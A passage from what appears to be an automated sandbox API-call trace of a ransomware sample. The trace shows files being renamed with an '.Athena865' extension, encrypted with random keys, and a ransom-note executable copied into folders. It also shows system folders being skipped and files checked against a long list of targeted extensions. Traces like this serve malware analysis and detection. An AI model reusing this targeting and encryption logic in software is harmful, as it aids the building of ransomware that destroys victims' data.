lpString2="MSBuild") returned -1 [0102.420] lstrlenW (lpString="eb282ead62b4db87.automaticDestinations-ms") returned 41 [0102.420] lstrcpyW (in: lpString1=0x241e8e0, lpString2="eb282ead62b4db87.automaticDestinations-ms" | out: lpString1="eb282ead62b4db87.automaticDestinations-ms") returned="eb282ead62b4db87.automaticDestinations-ms" [0102.421] lstrlenW (lpString="eb282ead62b4db87.automaticDestinations-ms") returned 41 [0102.421] lstrlenW (lpString="Athena865") returned 9 [0102.421] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0102.421] lstrlenW (lpString=".dll") returned 4 [0102.421] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2=".dll") returned 1 [0102.421] lstrlenW (lpString=".lnk") returned 4 [0102.421] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2=".lnk") returned 1 [0102.421] lstrlenW (lpString=".ini") returned 4 [0102.421] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2=".ini") returned 1 [0102.421] lstrlenW (lpString=".sys") returned 4 [0102.421] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2=".sys") returned 1 [0102.421] lstrlenW (lpString="eb282ead62b4db87.automaticDestinations-ms") returned 41 [0102.421] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms.Athena865") returned 127 [0102.421] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\eb282ead62b4db87.automaticdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\eb282ead62b4db87.automaticdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0102.422] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\eb282ead62b4db87.automaticdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.422] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3584) returned 1 [0102.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.422] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.422] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.423] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.423] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.423] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1100, lpName=0x0) returned 0x17c [0102.425] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1100) returned 0x100000 [0102.426] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.426] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.427] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.427] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.427] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.427] CloseHandle (hObject=0x17c) returned 1 [0102.427] CloseHandle (hObject=0x154) returned 1 [0102.427] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.428] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6beac20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc6beac20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.428] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.428] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6beac20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc6beac20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0102.428] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.428] ReleaseMutex (hMutex=0xec) returned 1 [0102.428] CloseHandle (hObject=0xec) returned 1 [0102.428] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations" [0102.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0102.428] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c548 | out: hHeap=0x4f0000) returned 1 [0102.428] lstrlenW (lpString="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations") returned 72 [0102.428] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\15C7F6405D400A99178A9A0D90B0BC16") returned 0xec [0102.428] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.428] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations" | out: lpString1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations") returned="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations" [0102.428] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.428] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.429] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\customdestinations\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.429] GetLastError () returned 0x0 [0102.429] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.429] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.430] CloseHandle (hObject=0xf4) returned 1 [0102.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.430] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.430] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CustomDestinations\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6ca9300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6ca9300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.430] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.430] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.430] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.430] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc6ca9300, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc6ca9300, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.430] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.431] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.431] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.431] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.431] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dc975e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dc975e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1b4dd67f29cb1962.customDestinations-ms", cAlternateFileName="1B4DD6~1.CUS")) returned 1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2=".") returned 1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="..") returned 1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="windows") returned -1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="bootmgr") returned -1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="temp") returned -1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="pagefile.sys") returned -1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="boot") returned -1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="ids.txt") returned -1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="ntuser.dat") returned -1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="perflogs") returned -1 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2="MSBuild") returned -1 [0102.431] lstrlenW (lpString="1b4dd67f29cb1962.customDestinations-ms") returned 38 [0102.431] lstrcpyW (in: lpString1=0x241e8da, lpString2="1b4dd67f29cb1962.customDestinations-ms" | out: lpString1="1b4dd67f29cb1962.customDestinations-ms") returned="1b4dd67f29cb1962.customDestinations-ms" [0102.431] lstrlenW (lpString="1b4dd67f29cb1962.customDestinations-ms") returned 38 [0102.431] lstrlenW (lpString="Athena865") returned 9 [0102.431] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0102.431] lstrlenW (lpString=".dll") returned 4 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2=".dll") returned 1 [0102.431] lstrlenW (lpString=".lnk") returned 4 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2=".lnk") returned 1 [0102.431] lstrlenW (lpString=".ini") returned 4 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2=".ini") returned 1 [0102.431] lstrlenW (lpString=".sys") returned 4 [0102.431] lstrcmpiW (lpString1="1b4dd67f29cb1962.customDestinations-ms", lpString2=".sys") returned 1 [0102.431] lstrlenW (lpString="1b4dd67f29cb1962.customDestinations-ms") returned 38 [0102.432] lstrlenW (lpString="bak") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0102.432] lstrlenW (lpString="ba_") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0102.432] lstrlenW (lpString="dbb") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0102.432] lstrlenW (lpString="vmdk") returned 4 [0102.432] lstrcmpiW (lpString1="s-ms", lpString2="vmdk") returned -1 [0102.432] lstrlenW (lpString="rar") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0102.432] lstrlenW (lpString="zip") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0102.432] lstrlenW (lpString="tgz") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0102.432] lstrlenW (lpString="vbox") returned 4 [0102.432] lstrcmpiW (lpString1="s-ms", lpString2="vbox") returned -1 [0102.432] lstrlenW (lpString="vdi") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0102.432] lstrlenW (lpString="vhd") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0102.432] lstrlenW (lpString="vhdx") returned 4 [0102.432] lstrcmpiW (lpString1="s-ms", lpString2="vhdx") returned -1 [0102.432] lstrlenW (lpString="avhd") returned 4 [0102.432] lstrcmpiW (lpString1="s-ms", lpString2="avhd") returned 1 [0102.432] lstrlenW (lpString="db") returned 2 [0102.432] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0102.432] lstrlenW (lpString="db2") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0102.432] lstrlenW (lpString="db3") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0102.432] lstrlenW (lpString="dbf") returned 3 [0102.432] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0102.433] lstrlenW (lpString="mdf") returned 3 [0102.433] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0102.433] lstrlenW (lpString="mdb") returned 3 [0102.433] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0102.433] lstrlenW (lpString="sql") returned 3 [0102.433] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0102.433] lstrlenW (lpString="sqlite") returned 6 [0102.433] lstrcmpiW (lpString1="ons-ms", lpString2="sqlite") returned -1 [0102.433] lstrlenW (lpString="sqlite3") returned 7 [0102.433] lstrcmpiW (lpString1="ions-ms", lpString2="sqlite3") returned -1 [0102.433] lstrlenW (lpString="sqlitedb") returned 8 [0102.433] lstrcmpiW (lpString1="tions-ms", lpString2="sqlitedb") returned 1 [0102.433] lstrlenW (lpString="xml") returned 3 [0102.433] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0102.433] lstrlenW (lpString="$er") returned 3 [0102.433] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0102.433] lstrlenW (lpString="4dd") returned 3 [0102.433] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0102.433] lstrlenW (lpString="4dl") returned 3 [0102.433] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0102.433] lstrlenW (lpString="^^^") returned 3 [0102.433] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0102.433] lstrlenW (lpString="abs") returned 3 [0102.433] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0102.433] lstrlenW (lpString="abx") returned 3 [0102.433] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0102.433] lstrlenW (lpString="accdb") returned 5 [0102.433] lstrcmpiW (lpString1="ns-ms", lpString2="accdb") returned 1 [0102.433] lstrlenW (lpString="accdc") returned 5 [0102.433] lstrcmpiW (lpString1="ns-ms", lpString2="accdc") returned 1 [0102.433] lstrlenW (lpString="accde") returned 5 [0102.434] lstrcmpiW (lpString1="ns-ms", lpString2="accde") returned 1 [0102.434] lstrlenW (lpString="accdr") returned 5 [0102.434] lstrcmpiW (lpString1="ns-ms", lpString2="accdr") returned 1 [0102.434] lstrlenW (lpString="accdt") returned 5 [0102.434] lstrcmpiW (lpString1="ns-ms", lpString2="accdt") returned 1 [0102.434] lstrlenW (lpString="accdw") returned 5 [0102.434] lstrcmpiW (lpString1="ns-ms", lpString2="accdw") returned 1 [0102.434] lstrlenW (lpString="accft") returned 5 [0102.434] lstrcmpiW (lpString1="ns-ms", lpString2="accft") returned 1 [0102.434] lstrlenW (lpString="adb") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0102.434] lstrlenW (lpString="adb") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0102.434] lstrlenW (lpString="ade") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0102.434] lstrlenW (lpString="adf") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0102.434] lstrlenW (lpString="adn") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0102.434] lstrlenW (lpString="adp") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0102.434] lstrlenW (lpString="alf") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0102.434] lstrlenW (lpString="ask") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0102.434] lstrlenW (lpString="btr") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0102.434] lstrlenW (lpString="cat") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0102.434] lstrlenW (lpString="cdb") returned 3 [0102.434] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0102.434] lstrlenW (lpString="ckp") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0102.435] lstrlenW (lpString="cma") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0102.435] lstrlenW (lpString="cpd") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0102.435] lstrlenW (lpString="dacpac") returned 6 [0102.435] lstrcmpiW (lpString1="ons-ms", lpString2="dacpac") returned 1 [0102.435] lstrlenW (lpString="dad") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0102.435] lstrlenW (lpString="dadiagrams") returned 10 [0102.435] lstrcmpiW (lpString1="nations-ms", lpString2="dadiagrams") returned 1 [0102.435] lstrlenW (lpString="daschema") returned 8 [0102.435] lstrcmpiW (lpString1="tions-ms", lpString2="daschema") returned 1 [0102.435] lstrlenW (lpString="db-journal") returned 10 [0102.435] lstrcmpiW (lpString1="nations-ms", lpString2="db-journal") returned 1 [0102.435] lstrlenW (lpString="db-shm") returned 6 [0102.435] lstrcmpiW (lpString1="ons-ms", lpString2="db-shm") returned 1 [0102.435] lstrlenW (lpString="db-wal") returned 6 [0102.435] lstrcmpiW (lpString1="ons-ms", lpString2="db-wal") returned 1 [0102.435] lstrlenW (lpString="dbc") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0102.435] lstrlenW (lpString="dbs") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0102.435] lstrlenW (lpString="dbt") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0102.435] lstrlenW (lpString="dbv") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0102.435] lstrlenW (lpString="dbx") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0102.435] lstrlenW (lpString="dcb") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0102.435] lstrlenW (lpString="dct") returned 3 [0102.435] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1 [0102.435] lstrlenW (lpString="dcx") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1 [0102.436] lstrlenW (lpString="ddl") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1 [0102.436] lstrlenW (lpString="dlis") returned 4 [0102.436] lstrcmpiW (lpString1="s-ms", lpString2="dlis") returned 1 [0102.436] lstrlenW (lpString="dp1") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1 [0102.436] lstrlenW (lpString="dqy") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1 [0102.436] lstrlenW (lpString="dsk") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1 [0102.436] lstrlenW (lpString="dsn") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1 [0102.436] lstrlenW (lpString="dtsx") returned 4 [0102.436] lstrcmpiW (lpString1="s-ms", lpString2="dtsx") returned 1 [0102.436] lstrlenW (lpString="dxl") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1 [0102.436] lstrlenW (lpString="eco") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1 [0102.436] lstrlenW (lpString="ecx") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1 [0102.436] lstrlenW (lpString="edb") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1 [0102.436] lstrlenW (lpString="epim") returned 4 [0102.436] lstrcmpiW (lpString1="s-ms", lpString2="epim") returned 1 [0102.436] lstrlenW (lpString="fcd") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1 [0102.436] lstrlenW (lpString="fdb") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1 [0102.436] lstrlenW (lpString="fic") returned 3 [0102.436] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1 [0102.436] lstrlenW (lpString="flexolibrary") returned 12 [0102.436] lstrcmpiW (lpString1="tinations-ms", lpString2="flexolibrary") returned 1 [0102.436] lstrlenW (lpString="fm5") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1 [0102.437] lstrlenW (lpString="fmp") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1 [0102.437] lstrlenW (lpString="fmp12") returned 5 [0102.437] lstrcmpiW (lpString1="ns-ms", lpString2="fmp12") returned 1 [0102.437] lstrlenW (lpString="fmpsl") returned 5 [0102.437] lstrcmpiW (lpString1="ns-ms", lpString2="fmpsl") returned 1 [0102.437] lstrlenW (lpString="fol") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1 [0102.437] lstrlenW (lpString="fp3") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1 [0102.437] lstrlenW (lpString="fp4") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1 [0102.437] lstrlenW (lpString="fp5") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1 [0102.437] lstrlenW (lpString="fp7") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1 [0102.437] lstrlenW (lpString="fpt") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1 [0102.437] lstrlenW (lpString="frm") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1 [0102.437] lstrlenW (lpString="gdb") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0102.437] lstrlenW (lpString="gdb") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0102.437] lstrlenW (lpString="grdb") returned 4 [0102.437] lstrcmpiW (lpString1="s-ms", lpString2="grdb") returned 1 [0102.437] lstrlenW (lpString="gwi") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1 [0102.437] lstrlenW (lpString="hdb") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1 [0102.437] lstrlenW (lpString="his") returned 3 [0102.437] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1 [0102.437] lstrlenW (lpString="ib") returned 2 [0102.438] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1 [0102.438] lstrlenW (lpString="idb") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1 [0102.438] lstrlenW (lpString="ihx") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1 [0102.438] lstrlenW (lpString="itdb") returned 4 [0102.438] lstrcmpiW (lpString1="s-ms", lpString2="itdb") returned 1 [0102.438] lstrlenW (lpString="itw") returned 3 [0102.438] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 